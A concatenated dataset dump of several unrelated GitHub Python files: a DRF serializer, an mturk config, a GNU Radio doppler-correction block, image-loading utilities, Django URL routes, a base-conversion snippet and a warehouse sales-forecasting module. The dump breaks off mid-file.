pass\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"meyersj/geotweet","sub_path":"geotweet/tests/integration/mapreduce/state-county_tests.py","file_name":"state-county_tests.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"19908045859","text":"from rest_framework import serializers, fields\n\n\nclass ModelWithPolicySerializer(serializers.ModelSerializer):\n policies = []\n\n def __init__(self, instance=None, data=fields.empty, run_policies=True, **kwargs):\n super().__init__(instance, data, **kwargs)\n self.run_policies = run_policies\n\n def prepare_data_to_policies(self, attrs: dict):\n return attrs\n\n def validate(self, attrs: dict) -> dict:\n attrs = super().validate(attrs)\n if self.run_policies:\n try:\n attrs = self.prepare_data_to_policies(attrs)\n self.validate_policies(attrs)\n except Exception as e:\n raise serializers.ValidationError(e)\n return attrs\n\n def validate_policies(self, data: dict) -> None:\n for policy in self.policies:\n policy(data)\n","repo_name":"urbrob/family-budget","sub_path":"budgets/infrastructure/views/serializers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"866240578","text":"from mturk.gods import ContextFetchingInputDevice\nfrom devices import OutputDevice\n\nfrom mturk.gods import DataCollectionAgent\nfrom mturk.gods import DatabaseListener\n\nfrom preprocessing import VoidPreprocessor\nfrom postprocessing import VoidPostprocessor\n\nfrom domain_knowledge import EmptyDomainKnowledge\nfrom conversation_listeners import LoggingListener\nfrom conversation_listeners import Scoring\n\nsystem_description = {\n 'input' : {\n 'class' : ContextFetchingInputDevice.ContextFetchingInputDevice,\n 'kwargs' : {\n 'timeout_seconds' : 0.5\n }\n },\n 'output' : {\n 'class' : OutputDevice.FileOutputDevice,\n 'args' : ['out.gods']\n },\n 'preprocessing' : {\n 'modules': [\n {\n 'class' : VoidPreprocessor.VoidPreprocessor,\n }\n ]\n },\n 'postprocessing' : {\n 'output_index' : 0, # Index of the postprocessing unit whose output will be piped to output\n 'modules' : [\n {\n 'class' : VoidPostprocessor.VoidPostprocessor,\n }\n ]\n },\n 'agent' : {\n 'class' : DataCollectionAgent.MturkCollectionAgent\n },\n 'domain_knowledge' : {\n 'class' : EmptyDomainKnowledge.EmptyDomainKnowledge\n },\n 'listeners' : {\n 'named' : {\n # 'scoring' : { 'class' : Scoring.SampleScoring }\n },\n 'unnamed': [\n {\n 'class' : LoggingListener.LoggingListener,\n },\n {\n 'class' : DatabaseListener.DatabaseResponseListener,\n 'args' : [ 'mturk/collected_data' ]\n }\n ]\n }\n}","repo_name":"ppartha03/MACA","sub_path":"system_configs/mturk_collect_response.py","file_name":"mturk_collect_response.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"54"} +{"seq_id":"23190031407","text":"from gnuradio import gr\nimport time\nimport datetime\nimport ephem\nfrom math import *\nimport paho.mqtt.client as paho\nimport numpy as np\n\nclass Tracker():\n def __init__(self, satellite, groundstation):\n self.groundstation = ephem.Observer()\n self.groundstation.lat = groundstation[0]\n self.groundstation.lon = groundstation[1]\n self.groundstation.elevation = int(groundstation[2])\n self.satellite = ephem.readtle(satellite[0], satellite[1], satellite[2])\n def set_epoch(self, epoch=time.time()):\n # sets epoch when parameters are observed\n self.groundstation.date = datetime.datetime.utcfromtimestamp(epoch)\n self.satellite.compute(self.groundstation)\n def azimuth(self):\n return ephem.degrees(self.satellite.az)\n def elevation(self):\n return ephem.degrees(self.satellite.alt)\n def velocity(self):\n return self.satellite.range_velocity\n\nclass doppler_correction(gr.sync_block):\n \"\"\"\n docstring for block doppler_correction\n \\n\n This block has the function to calculate the doppler frequency through the satellite TLE, satellite's frequency, antenna latitude, antenna longitute and antenna altitude.\n \\n\n #Notes:\n -To use this block it's necessary create a variable for generate the result. For example: doppler_freq. After this, the doppler_correction block will change the value of this variable according with the local time and others variables already mentioned.\n -This block was created to work only with Data Source Block and MQTT Source Block. To use doppler_correction with other block it is necessary to set the output type (other block) to numpy.dtype .\n -Positive latitude is above the equator (N), and negative latitude is below the equator (S).\n -Positive longitude is east of the prime meridian, while negative longitude is west of the prime meridian.\n \\n\n #Examples:\n ID: inpe_doppler_correction_0\n Variable: doppler_freq\n \\n\n #Inputs:\n -tle => receive the information about tle.\n Example:\n \"SCD 1\n 1 22490U 93009B 18313.53585030 .00000217 00000-0 94868-5 0 9993\n 2 22490 24.9712 40.8641 0042943 322.8024 149.1002 14.44536244359472\"\n Or\n \"SCD 1 \\\\n1 22490U 93009B 18312.49589122 .00000212 00000-0 80367-5 0 9997\\\\n2 22490 24.9710 47.2687 0042922 311.7938 140.9989 14.44536139359048\"\n -freq => receive the information about center frequency of the satellite comunnication.\n Example:\n 145000000\n -lat => receive the information about the antenna latitude (N).\n Example:\n -5.7793\n -lon => receive the information about the antenna longitude (E).\n Example:\n -35.2010\n -alt => receive the information about the antenna altitude (m).\n Example:\n 14\n \"\"\"\n\n def __init__(self, callback, verbose):\n gr.sync_block.__init__(self,\n name=\"doppler_correction\",\n in_sig=[np.dtype, np.dtype, np.dtype, np.dtype, np.dtype],\n out_sig=[])\n \n self.callback = callback\n self.verbose = verbose\n\n\n def work(self, input_items, output_items):\n doppler_freq = 0\n if(input_items[0][0] != \"\" and input_items[1][0] != \"\" and input_items[2][0] != \"\" and input_items[3][0] != \"\" and input_items[4][0] != \"\"):\n tle_raw = str(input_items[0][0])\n freq = float(input_items[1][0])\n antenna_lat = float(input_items[2][0])\n antenna_lon = float(input_items[3][0])\n antenna_alt = float(input_items[4][0])\n\n tle = tle_raw.split('\\n')\n\n if (self.verbose):\n print(\"[Speed Rate] tle : \" + str(tle_raw))\n print(\"[Speed Rate] freq : \" + str(freq))\n print(\"[Speed Rate] antenna_lat : \" + str(antenna_lat))\n print(\"[Speed Rate] antenna_lon : \" + str(antenna_lon))\n print(\"[Speed Rate] antenna_alt : \" + str(antenna_alt))\n\n if(len(tle) == 3 and freq != \"\" and antenna_lat != \"\" and antenna_lon != \"\" and antenna_alt != \"\"):\n antenna_gps = (str(antenna_lat), str(antenna_lon), str(int(antenna_alt))) \n #A biblioteca só aceita inteiro na altura.... \n #TODO: Arredondar valor em vez de truncar (valor mais próximo)\n tracker = Tracker(tle, antenna_gps)\n tracker.set_epoch(time.time())\n doppler_freq = float(freq * tracker.velocity()/299792458)\n if (self.verbose):\n print(\"[Speed Rate] time : \" + time.asctime( time.localtime(time.time()) ))\n print(\"[Speed Rate] az : \" + str(tracker.azimuth()))\n #print (\"ele : \" + str(tracker.elevation())\n #print (\"vel : \" + str(tracker.velocity())\n print(\"[Speed Rate] dop : \" + str(doppler_freq))\n else:\n if (self.verbose):\n print(\"[Speed Rate] TLE received doesn't contain 3 lines\")\n else:\n if (self.verbose):\n print(\"[Speed Rate] input_items[0][0] : \" + input_items[0][0])\n print(\"[Speed Rate] input_items[1][0] : \" + input_items[1][0])\n print(\"[Speed Rate] input_items[2][0] : \" + input_items[2][0])\n print(\"[Speed Rate] input_items[3][0] : \" + input_items[3][0])\n print(\"[Speed Rate] input_items[4][0] : \" + input_items[4][0])\n self.callback(doppler_freq)\n time.sleep(0.2)\n return len(input_items[0])\n\n","repo_name":"wadsonoliveira/GnuRadioEMMN","sub_path":"gr-INPE/python/doppler_correction.py","file_name":"doppler_correction.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12057665532","text":"import pandas as pd\nimport numpy as np\nimport os\nimport PIL\nimport tensorflow as tf\n\n# Joosepi kood:\ndef onehot(labels: str) -> np.ndarray:\n labels_int = list(map(int, labels.replace('l', '').split(' ')))\n labels = np.zeros(92)\n labels[labels_int] = 1.0\n return labels\n\n\ndef load_train_images_labels():\n df = pd.read_csv('train.csv')\n imgs = []\n img_labels = []\n\n for img_id, labels in zip(df.image_id.values, df.labels.values):\n # can fail\n try:\n img = PIL.Image.open(os.path.join('images', img_id))\n img.load()\n\n imgs.append(img)\n\n label_int = list(map(int, labels.replace('l', '').split(' ')))\n labels = np.zeros(92)\n labels[label_int] = 1.0\n\n img_labels.append(labels)\n except FileNotFoundError:\n print(img_id, 'doesnt exist')\n\n img_labels = np.array([i[1] for i in img_labels])\n\n return imgs, np.array(img_labels)\n\n\n####### Kea kood ########\n\ndef load_test_images():\n df = pd.read_csv('test.csv')\n imgs = []\n\n for img_id in df.image_id.values:\n \n try:\n \n image = tf.keras.preprocessing.image.load_img(os.path.join('images', img_id),\n target_size=(300, 300),\n keep_aspect_ratio = True,\n color_mode = 'rgb')\n input_arr = tf.keras.preprocessing.image.img_to_array(image)\n \n image = np.expand_dims(input_arr, axis=0)\n image = image/255\n image = np.squeeze(image)\n\n imgs.append(image)\n\n except FileNotFoundError:\n print(img_id, 'doesnt exist')\n\n return np.array(imgs)\n\n\ndef load_train_images():\n df = pd.read_csv('train.csv')\n imgs = []\n img_labels = []\n\n for img_id, labels in zip(df.image_id.values, df.labels.values):\n \n try:\n image = tf.keras.preprocessing.image.load_img(os.path.join('images', img_id),\n target_size=(300, 300),\n keep_aspect_ratio = True,\n color_mode = 'rgb')\n input_arr = tf.keras.preprocessing.image.img_to_array(image)\n\n image = np.expand_dims(input_arr, axis=0)\n image = image/255\n image = np.squeeze(image)\n imgs.append(image)\n\n label_int = list(map(int, labels.replace('l', '').split(' ')))\n labels = np.zeros(92)\n labels[label_int] = 1.0\n\n img_labels.append(labels)\n \n except FileNotFoundError:\n print(img_id, 'doesnt exist')\n\n return np.array(imgs), img_labels\n\n\n# Method for loading and one-hot encoding training data with numeric labels\ndef load_prep_train():\n # Load data\n training_data = pd.read_csv('train.csv')\n labels = pd.read_csv('labels.csv')\n\n # Create columns for each label and give 0 as a default value for all rows (1 image per 1 row)\n for id, label in enumerate(labels['label_id'].values):\n training_data[label] = 0\n\n # Go through the 'labels' column values, separate the labels and replace 0 with 1\n # in the newly created labels' columns for each label that is given to that image, others remain 0\n for image_index, labels in enumerate(training_data['labels'].values):\n separated_labels = labels.split(' ')\n for label in separated_labels:\n training_data.at[image_index, label] = 1\n\n # Drop the old 'labels' column as it is no longer needed\n training_data.drop('labels', axis=1, inplace=True)\n\n return training_data\n\n# Method to resize images\ndef resize(images, maxsize = 300):\n train_imgs_resized = []\n for image in images:\n image_resized = image.resize((maxsize,maxsize), PIL.Image.Resampling.LANCZOS)\n background = PIL.Image.new('RGBA', (maxsize, maxsize), (255, 255, 255, 255))\n offset = (round((maxsize - maxsize) / 2), round((maxsize - maxsize) / 2))\n background = background.paste(maxsize, offset)\n image_resized = background.convert('RGB')\n train_imgs_resized.append(np.array(image_resized.convert('RGB')))\n train_imgs_resized = np.array(train_imgs_resized)\n\n return train_imgs_resized\n\n\n","repo_name":"joosephook/object-recognition-tartu","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43708853692","text":"#-*- coding=utf-8 -*- \n\nfrom django.conf.urls.defaults import patterns, url\n\nimport settings\n\nurlpatterns = patterns('',\n url(r'^$', 'base.views.home', name='home'),\n url(r'^directions$', 'base.views.directions', name='directions'),\n url(r'^about$', 'base.views.about', name='about'),\n url(r'^contact$', 'base.views.contact', name='contact'),\n url(r'^static/(.*)$', 'django.views.static.serve', {'document_root': settings.STATIC_ROOT}),\n)\n","repo_name":"marekbrzoska/wedding","sub_path":"base/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29874382813","text":"def changeBase(n, q):\n rev_base = ''\n while n > 0:\n n, mod = divmod(n, q)\n rev_base += str(mod)\n\n return rev_base[::-1]\n\n\ndef is_prime_number(x):\n if x == 1:\n return False\n for i in range(2,int(x**0.5)+1):\n if x % i == 0:\n return False # 소수가 아님\n return True # 소수임\n\n\n\"AS\".isalpha()\n\n","repo_name":"yleer/BackjoonAlgoStudy2022","sub_path":"진수 변환, 소수 판별.py","file_name":"진수 변환, 소수 판별.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11379511145","text":"from typing import List, Dict\r\nfrom storage.warehouse import Warehouse, Product, Operation, OperationType\r\nimport matplotlib.pyplot as plt\r\nimport statistics as st\r\n\r\n\r\n\"\"\" Czesci skladowe na funkcje prognozy \"\"\"\r\n\r\n\r\ndef only_sales_for_product(wh: Warehouse, product_name: str):\r\n \"\"\" Funkcja wybiera z listy operacji tylko dotyczace sprzedazy oraz ewentualnie okreslonego produktu \"\"\"\r\n # wh - magazyn, z ktorego pobieramy operacje\r\n # product_name - id produktu, dla ktorego sprzedaze badamy; jesli nie interesuje nas konkretny produkt, tylko\r\n # wszystko, wpisujemy w to miejsce None\r\n operations_sales = [] # pusta lista operacji dot. sprzedazy\r\n values = list(wh.operations.values()) # lista pobranych wartosci z operacji\r\n for v in values: # wypelniamy liste\r\n if product_name is None: # jesli None, to dodajemy wszystkie operacje typu Sale\r\n if v.type == OperationType.SALE:\r\n operations_sales.append(v)\r\n else: # dodajemy operacje jednoczescnie typu Sale i dot. konkretnego produktu\r\n if v.type == OperationType.SALE and v.product.id == product_name:\r\n operations_sales.append(v)\r\n return operations_sales\r\n\r\n\r\ndef sales_sum(wh: Warehouse, product_name, only_quantities: bool, monthly: bool):\r\n \"\"\" Sumujemy ilosci sprzedanych produktow w kazdym okresie; tworzymy dane historyczne \"\"\"\r\n # only_quantities: True - prognoza tylko dla ilosci sprzedanych produktow; False - prognoze sprzedazy (ilosc*cena)\r\n # monthly: True - sezonowosc miesieczna; False - sezonowosc kwartalna\r\n time_series = only_sales_for_product(wh, product_name) # szereg czasowy sprzedazy\r\n keys_list = [] # lista identyfikatorow dla sprzedazy w poszczegolnych okresach\r\n sums_list = [] # lista wielkosci sprzedazy w poszczegolnych okresach\r\n sales = {} # slownik dla wielkosci sprzedazy\r\n # uniwersalizacja danych\r\n whole_data = list(wh.operations.values())\r\n begin_year = time_series[0].date.year\r\n begin_month = time_series[0].date.month\r\n # do prognozy brane beda pod uwage okresy, odkad zaczelismy sprzedarz produktu (pierwszy rok/miesiac w szeregu cz.)\r\n # ten punkt do przemyslenia; potrzeba konsultacji\r\n end_year = whole_data[-1].date.year\r\n end_month = whole_data[-1].date.month\r\n # prognozujemy do ostatniego mierzonego w ogole okresu, nawet jezeli nie bylo wtedy zadnej sprzedazy\r\n if 1 <= begin_month <= 3:\r\n begin_quarter = 1\r\n elif 4 <= begin_month <= 6:\r\n begin_quarter = 2\r\n elif 7 <= begin_month <= 9:\r\n begin_quarter = 3\r\n else:\r\n begin_quarter = 4\r\n # do jakiego kwartalu nalezy pierwszy miesiac szeregu czasowego\r\n how_many_years = end_year - begin_year + 1\r\n # liczba lat dla danych historycznych\r\n if monthly == True: # liczba okresow w ciagu roku\r\n k = 12\r\n else:\r\n k = 4\r\n for i in range(0, how_many_years): # petla reprezentujaca kolejne lata\r\n for j in range(0, 12): # petla reprezentujaca kolejne miesiace\r\n sum = 0\r\n year = begin_year + i # rok dla iteracji i\r\n month = j + 1 # miesiac dla iteracji j\r\n if 1 <= month <= 3: # kwartal dla kolejnych trzech iteracji j\r\n quarter = \"I\"\r\n quarter_to_compare = 1\r\n elif 4 <= month <= 6:\r\n quarter = \"II\"\r\n quarter_to_compare = 2\r\n elif 7 <= month <= 9:\r\n quarter = \"III\"\r\n quarter_to_compare = 3\r\n else:\r\n quarter = \"IV\"\r\n quarter_to_compare = 4 # zmienna pomocnicza\r\n if year == end_year and month > end_month:\r\n # przerywamy petle, gdy dojdziemy do ostatniego badanego miesiaca\r\n break\r\n if k == 4:\r\n if year == begin_year and quarter_to_compare < begin_quarter:\r\n # petla pomija nastepne kroki, jezeli nie dojdziemy do pierwszego kwartalu szeregu czasowego\r\n continue\r\n key = quarter + \"_\" + str(year)[-2:] # postac identyfikatora welkosci sprzedarzy dla roku i kwartalu\r\n else:\r\n if year == begin_year and month < begin_month:\r\n # petla pomija nastepne kroki, jezeli nie dojdziemy do pierwszego miesiaca szeregu czasowego\r\n continue\r\n key = str(month) + \"_\" + str(year)[-2:] # postac identyfikatora welkosci sprzedarzy dla roku i miesiaca\r\n keys_list.append(key)\r\n if len(keys_list) > 1 and keys_list[-1] == keys_list[-2]:\r\n keys_list.remove(key) # jesli id sie powtarza, to go usuwamy (zdarza sie dla sez. kwartalnej)\r\n if k == 12:\r\n for t in time_series:\r\n # sumowanie sprzedarzy zgodnie z danym rokiem i miesiacem\r\n if t.date.year == year and t.date.month == month:\r\n if only_quantities == True:\r\n sum += t.quantity\r\n else:\r\n whole_sale = t.quantity * float(t.price.amount)\r\n sum += whole_sale\r\n # jesli program przejdzie do operacji dotyczacych nastepnego miesiaca/roku, to przerywamy petle\r\n if t.date.year > year or (t.date.year == year and t.date.month > month):\r\n break\r\n sums_list.append(sum)\r\n else:\r\n if month == 1 or month == 4 or month == 7 or month == 10:\r\n # liczymy sumy, gdy month odpowiada pierwszemu miesiacowi w kwartale\r\n for t in time_series:\r\n # sumowanie sprzedarzy zgodnie z danym rokiem i kwartalem\r\n if t.date.year == year and month <= t.date.month <= month + 2:\r\n if only_quantities == True:\r\n sum += t.quantity\r\n else:\r\n whole_sale = t.quantity * float(t.price.amount)\r\n sum += whole_sale\r\n # jesli program przejdzie do operacji dotyczacych nastepnego kwartalu/roku, to przerywamy petle\r\n if t.date.year > year or (t.date.year == year and t.date.month > month + 2):\r\n break\r\n sums_list.append(sum)\r\n for i in range(0, len(sums_list)):\r\n sales[keys_list[i]] = sums_list[i]\r\n return sales\r\n\r\n\r\ndef linear_trend_parameters(wh: Warehouse, product_name, only_quantities: bool, monthly: bool):\r\n \"\"\" Funkcja obliczajaca parametry funkcji trendu liniowego \"\"\"\r\n sales_dict = sales_sum(wh, product_name, only_quantities, monthly) # dane historyczne\r\n t = [] # nr-y operacji od 1 do len(sales_dict)\r\n y = list(sales_dict.values()) # pobrane wartosci danych historycznych\r\n # wypelniamy liste t\r\n for i in range(0, len(y)):\r\n t.append(i+1)\r\n # obliczamy srednie dla t i y\r\n mean_t: float = st.mean(t)\r\n mean_y: float = st.mean(y)\r\n ratio_ty = [] # lista iloczynow roznic (t - t_sr) i (y - y_sr)\r\n square_t = [] # lista kwadratow roznic (t - t_sr)\r\n # wypelnianie list\r\n for i in range(0, len(t)):\r\n dif_t = t[i] - mean_t\r\n dif_y = y[i] - mean_y\r\n ratio = dif_t * dif_y\r\n sq_t = dif_t ** 2\r\n ratio_ty.append(ratio)\r\n square_t.append(sq_t)\r\n # sumowanie wartosci tych list\r\n sum_ty = sum(ratio_ty)\r\n sum_sqt = sum(square_t)\r\n # obliczanie parametrow\r\n a = sum_ty / sum_sqt\r\n b = mean_y - a * mean_t\r\n # print(\"Funkcja trendu: \" + str(a) + \"*t+\" + str(b))\r\n return [a, b]\r\n\r\n\r\ndef seasonal_indicators_intro(wh: Warehouse, product_name, only_quantities: bool, monthly: bool, additive: bool):\r\n \"\"\" Funkcja liczaca wskazniki sezonowosci dla poszczegolnych okresow\"\"\"\r\n # additive: True - model addytywny; False - model multiplikatywny\r\n first_indicators = {} # zbior wskaznikow\r\n sales_dict = sales_sum(wh, product_name, only_quantities, monthly) # dane historyczne\r\n t = [] # # nr-y operacji od 1 do len(sales_dict)\r\n t_labels = list(sales_dict) # identyfikatory danych historycznych\r\n y_real = list(sales_dict.values()) # wartosci danych historycznych; rzeczywiste wartosci sprzedazy\r\n y_trend = [] # teoretyczne wartosci sprzedazy wg funkcji trendu\r\n parameters = linear_trend_parameters(wh, product_name, only_quantities, monthly) # parametry funkcji trendu\r\n a = parameters[0]\r\n b = parameters[1]\r\n # wypelnianie listy t\r\n for i in range(0, len(t_labels)):\r\n t.append(i+1)\r\n # obliczanie wartosci teoretycznych\r\n for i in t:\r\n new_y = a*i+b\r\n y_trend.append(new_y)\r\n # puste listy na wskazniki i ich identyfikatory\r\n indicators_list = []\r\n keys = []\r\n # obliczanie wskaznikow dla modelu addytywnego lub multiplikatywnego\r\n if additive == True:\r\n for i in range(0, len(y_trend)):\r\n s = y_real[i] - y_trend[i]\r\n indicators_list.append(s)\r\n else:\r\n for i in range(0, len(y_trend)):\r\n s = y_real[i] / y_trend[i]\r\n indicators_list.append(s)\r\n # tworzenie identyfikatorow dla wskaznikow\r\n for l in t_labels:\r\n ind_key = \"s\"+l\r\n keys.append(ind_key)\r\n for i in range(0, len(indicators_list)):\r\n first_indicators[keys[i]] = indicators_list[i]\r\n return first_indicators\r\n\r\n\r\ndef cleaning_indicators(wh: Warehouse, product_name, only_quantities: bool, monthly: bool, additive: bool):\r\n \"\"\" Funkcja obliczajaca wskazniki surowe i oczyszczone \"\"\"\r\n first_indicators = seasonal_indicators_intro(wh, product_name, only_quantities, monthly, additive) # zbior wsk.\r\n fi_names = list(first_indicators) # id wskaznikow\r\n fi_values = list(first_indicators.values()) # wartosci wskaznikow\r\n # wskazniki surowe\r\n strict_indicators = []\r\n if monthly == True: # tworzenie list id wskaznikow surowych oraz danych potrzebnych do ich obliczenia\r\n ind_keys = [\"s1\", \"s2\", \"s3\", \"s4\", \"s5\", \"s6\", \"s7\", \"s8\", \"s9\", \"s10\", \"s11\", \"s12\"]\r\n sums = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n how_many = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n else:\r\n ind_keys = [\"s1\", \"s2\", \"s3\", \"s4\"]\r\n sums = [0, 0, 0, 0]\r\n how_many = [0, 0, 0, 0]\r\n # uzupelnianie list sums i how_many\r\n for i in range(0, len(fi_values)):\r\n num = fi_names[i][:-3] # fragment id wskaznika \"normalnego\", decydujacy o jego \"przynaleznosci\"\r\n if monthly == True:\r\n if num == \"s1\":\r\n sums[0] = sums[0] + fi_values[i]\r\n how_many[0] += 1\r\n elif num == \"s2\":\r\n sums[1] = sums[1] + fi_values[i]\r\n how_many[1] += 1\r\n elif num == \"s3\":\r\n sums[2] = sums[2] + fi_values[i]\r\n how_many[2] += 1\r\n elif num == \"s4\":\r\n sums[3] = sums[3] + fi_values[i]\r\n how_many[3] += 1\r\n elif num == \"s5\":\r\n sums[4] = sums[4] + fi_values[i]\r\n how_many[4] += 1\r\n elif num == \"s6\":\r\n sums[5] = sums[5] + fi_values[i]\r\n how_many[5] += 1\r\n elif num == \"s7\":\r\n sums[6] = sums[6] + fi_values[i]\r\n how_many[6] += 1\r\n elif num == \"s8\":\r\n sums[7] = sums[7] + fi_values[i]\r\n how_many[7] += 1\r\n elif num == \"s9\":\r\n sums[8] = sums[8] + fi_values[i]\r\n how_many[8] += 1\r\n elif num == \"s10\":\r\n sums[9] = sums[9] + fi_values[i]\r\n how_many[9] += 1\r\n elif num == \"s11\":\r\n sums[10] = sums[10] + fi_values[i]\r\n how_many[10] += 1\r\n else:\r\n sums[11] = sums[11] + fi_values[i]\r\n how_many[11] += 1\r\n else:\r\n if num == \"sI\":\r\n sums[0] = sums[0] + fi_values[i]\r\n how_many[0] += 1\r\n elif num == \"sII\":\r\n sums[1] = sums[1] + fi_values[i]\r\n how_many[1] += 1\r\n elif num == \"sIII\":\r\n sums[2] = sums[2] + fi_values[i]\r\n how_many[2] += 1\r\n else:\r\n sums[3] = sums[3] + fi_values[i]\r\n how_many[3] += 1\r\n # obliczanie wskaznikow surowych\r\n for i in range(0, len(sums)):\r\n ind_mean = sums[i] / how_many[i]\r\n strict_indicators.append(ind_mean)\r\n # wskazniki oczyszczone\r\n cleaned_ind = {}\r\n main_mean = st.mean(strict_indicators) # srednia wskaznikow surowych\r\n # \"czyszczenie\" wkaznikow\r\n for i in range(0, len(strict_indicators)):\r\n if additive == True:\r\n ready_ind = strict_indicators[i]-main_mean\r\n else:\r\n ready_ind = strict_indicators[i]/main_mean\r\n cleaned_ind[ind_keys[i]] = ready_ind\r\n return cleaned_ind\r\n\r\n\r\ndef counting_prediction(wh: Warehouse, product_name, only_quantities: bool, monthly: bool, additive: bool):\r\n \"\"\" Funkcja obliczajaca prognoze na nastepne 12 miesiecy / 4 kwartaly \"\"\"\r\n sales = sales_sum(wh, product_name, only_quantities, monthly) # dane historyczne\r\n parameters = linear_trend_parameters(wh, product_name, only_quantities, monthly) # parametry funkcji trendu\r\n a = parameters[0]\r\n b = parameters[1]\r\n indicators = cleaning_indicators(wh, product_name, only_quantities, monthly, additive) # wskazniki oczyszczone\r\n labels = [] # identyfikatory dla prognozowanych wartosci\r\n predicted_values = [] # zbior prognozowanych wartosci\r\n complete_prediction = {} # slownik zbudowany z dwoch poprzednich list\r\n num_of_operations = len(sales) # ile mamy danych historycznych\r\n # jaki byl rok dla ostatniej wartosci historycznej\r\n last_year = int(list(sales)[-1][-2:])\r\n if monthly == True:\r\n k = 12\r\n last_month = int(list(sales)[-1][:-3]) # jaki byl ostatni miesiac dla ostatniej wartosci historycznej\r\n # tworzenie id dla prognoz\r\n for j in range(0, k):\r\n last_month += 1\r\n if last_month > 12: # jesli dojdziemy do stycznia nastepnego roku:\r\n last_month = 1\r\n last_year += 1\r\n new_label = str(last_month) + \"_\" + str(last_year)\r\n labels.append(new_label)\r\n else:\r\n k = 4\r\n last_quarter = list(sales)[-1][:-3] # jaki byl ostatni kwartal dla ostatniej wartosci historycznej\r\n for j in range(0, k):\r\n if last_quarter == \"I\":\r\n next_quarter = \"II\" # kwartal po poprzednim\r\n elif last_quarter == \"II\":\r\n next_quarter = \"III\"\r\n elif last_quarter == \"III\":\r\n next_quarter = \"IV\"\r\n else: # jesli dojdziemy do pierwszego kwartalu nastepnego roku\r\n next_quarter = \"I\"\r\n last_year += 1\r\n new_label = next_quarter + \"_\" + str(last_year)\r\n labels.append(new_label)\r\n last_quarter = next_quarter # \"nowy' kwartal staje sie \"starym\" w nastepnej iteracji\r\n # liczenie prognozy\r\n for i in range(0, k):\r\n t = num_of_operations + i + 1 # nr-y kolejnych prognoz wzgledem danych historycznych\r\n y = a * t + b # teoretyczna wartosc prognozy wg funkcji trendu\r\n num = labels[i][:-3] # fragment id prognozy, ktory bedzie decydowal o wyborze wskaznika sezonowosci\r\n # wybor odpowiedniego wskaznika\r\n if k == 12:\r\n if num == \"1\":\r\n fluctuations = indicators[\"s1\"]\r\n elif num == \"2\":\r\n fluctuations = indicators[\"s2\"]\r\n elif num == \"3\":\r\n fluctuations = indicators[\"s3\"]\r\n elif num == \"4\":\r\n fluctuations = indicators[\"s4\"]\r\n elif num == \"5\":\r\n fluctuations = indicators[\"s5\"]\r\n elif num == \"6\":\r\n fluctuations = indicators[\"s6\"]\r\n elif num == \"7\":\r\n fluctuations = indicators[\"s7\"]\r\n elif num == \"8\":\r\n fluctuations = indicators[\"s8\"]\r\n elif num == \"9\":\r\n fluctuations = indicators[\"s9\"]\r\n elif num == \"10\":\r\n fluctuations = indicators[\"s10\"]\r\n elif num == \"11\":\r\n fluctuations = indicators[\"s11\"]\r\n else:\r\n fluctuations = indicators[\"s12\"]\r\n else:\r\n if num == \"I\":\r\n fluctuations = indicators[\"s1\"]\r\n elif num == \"II\":\r\n fluctuations = indicators[\"s2\"]\r\n elif num == \"III\":\r\n fluctuations = indicators[\"s3\"]\r\n else:\r\n fluctuations = indicators[\"s4\"]\r\n # uzupelnienie teoretycznej wartosci prognozy o wybrany wskaznik\r\n if additive == True:\r\n p = y + fluctuations\r\n else:\r\n p = y * fluctuations\r\n if p < 0: # jesli prognoza wyjdzie ujemna, podstawiamy 0\r\n p = 0\r\n predicted_values.append(p)\r\n for i in range(0, len(predicted_values)):\r\n complete_prediction[labels[i]] = predicted_values[i]\r\n return complete_prediction\r\n\r\n\r\n\"\"\" Funkcja dla wykresu prognozy \"\"\"\r\n\r\n\r\ndef prediction_plot(wh: Warehouse, product_name, only_quantities: bool, monthly: bool, additive: bool, only_pred: bool):\r\n # only_pred: True - wykresy tylko dla prognozy; False - wykresy takze dla wartosci historycznych\r\n pred = counting_prediction(wh, product_name, only_quantities, monthly, additive) # prognoza\r\n sales = sales_sum(wh, product_name, only_quantities, monthly) # dane historyczne\r\n parameters = linear_trend_parameters(wh, product_name, only_quantities, monthly) # parametry funkcji trendu\r\n a = parameters[0]\r\n b = parameters[1]\r\n sales_names = list(sales) # nazwy dla poszczegolnych danych historycznych\r\n sales_values = list(sales.values()) # wartosci danych historycznych\r\n pred_names = list(pred) # nazwy dla poszczegolnych prognoz\r\n pred_values = list(pred.values()) # wartosci prognozy\r\n salesandpred_names = sales_names + pred_names # wszystkie id (id dla d. hist. oraz prognozy)\r\n trend_values = [] # wartosci funkcji trendu\r\n # obliczanie wartosci funkcji trendu\r\n for i in range(0, len(salesandpred_names)):\r\n t = i + 1\r\n y = a * t + b\r\n trend_values.append(y)\r\n # ustalanie osi x i y dla wykresow: 1 - dane historyczne; 2 - prognoza; t - trend\r\n x1 = sales_names\r\n y1 = sales_values\r\n x2 = pred_names\r\n y2 = pred_values\r\n xt = salesandpred_names\r\n yt = trend_values # wartosci funkcji trendu dla wszystkich danych\r\n yt2 = trend_values[-len(pred_values):] # wartosci funkcji trendu dla danych prognozowanych\r\n\r\n if only_pred == False:\r\n plt.plot(x1, y1, c='b', Label='Historical data')\r\n plt.plot(xt, yt, c='r', Label='Trend')\r\n else:\r\n plt.plot(x2, yt2, c='r', Label='Trend')\r\n plt.plot(x2, y2, c='g', Label='Prediction')\r\n\r\n plt.title('Prediction for the next year')\r\n plt.xticks(rotation=90) # nazwy dla pozycji na 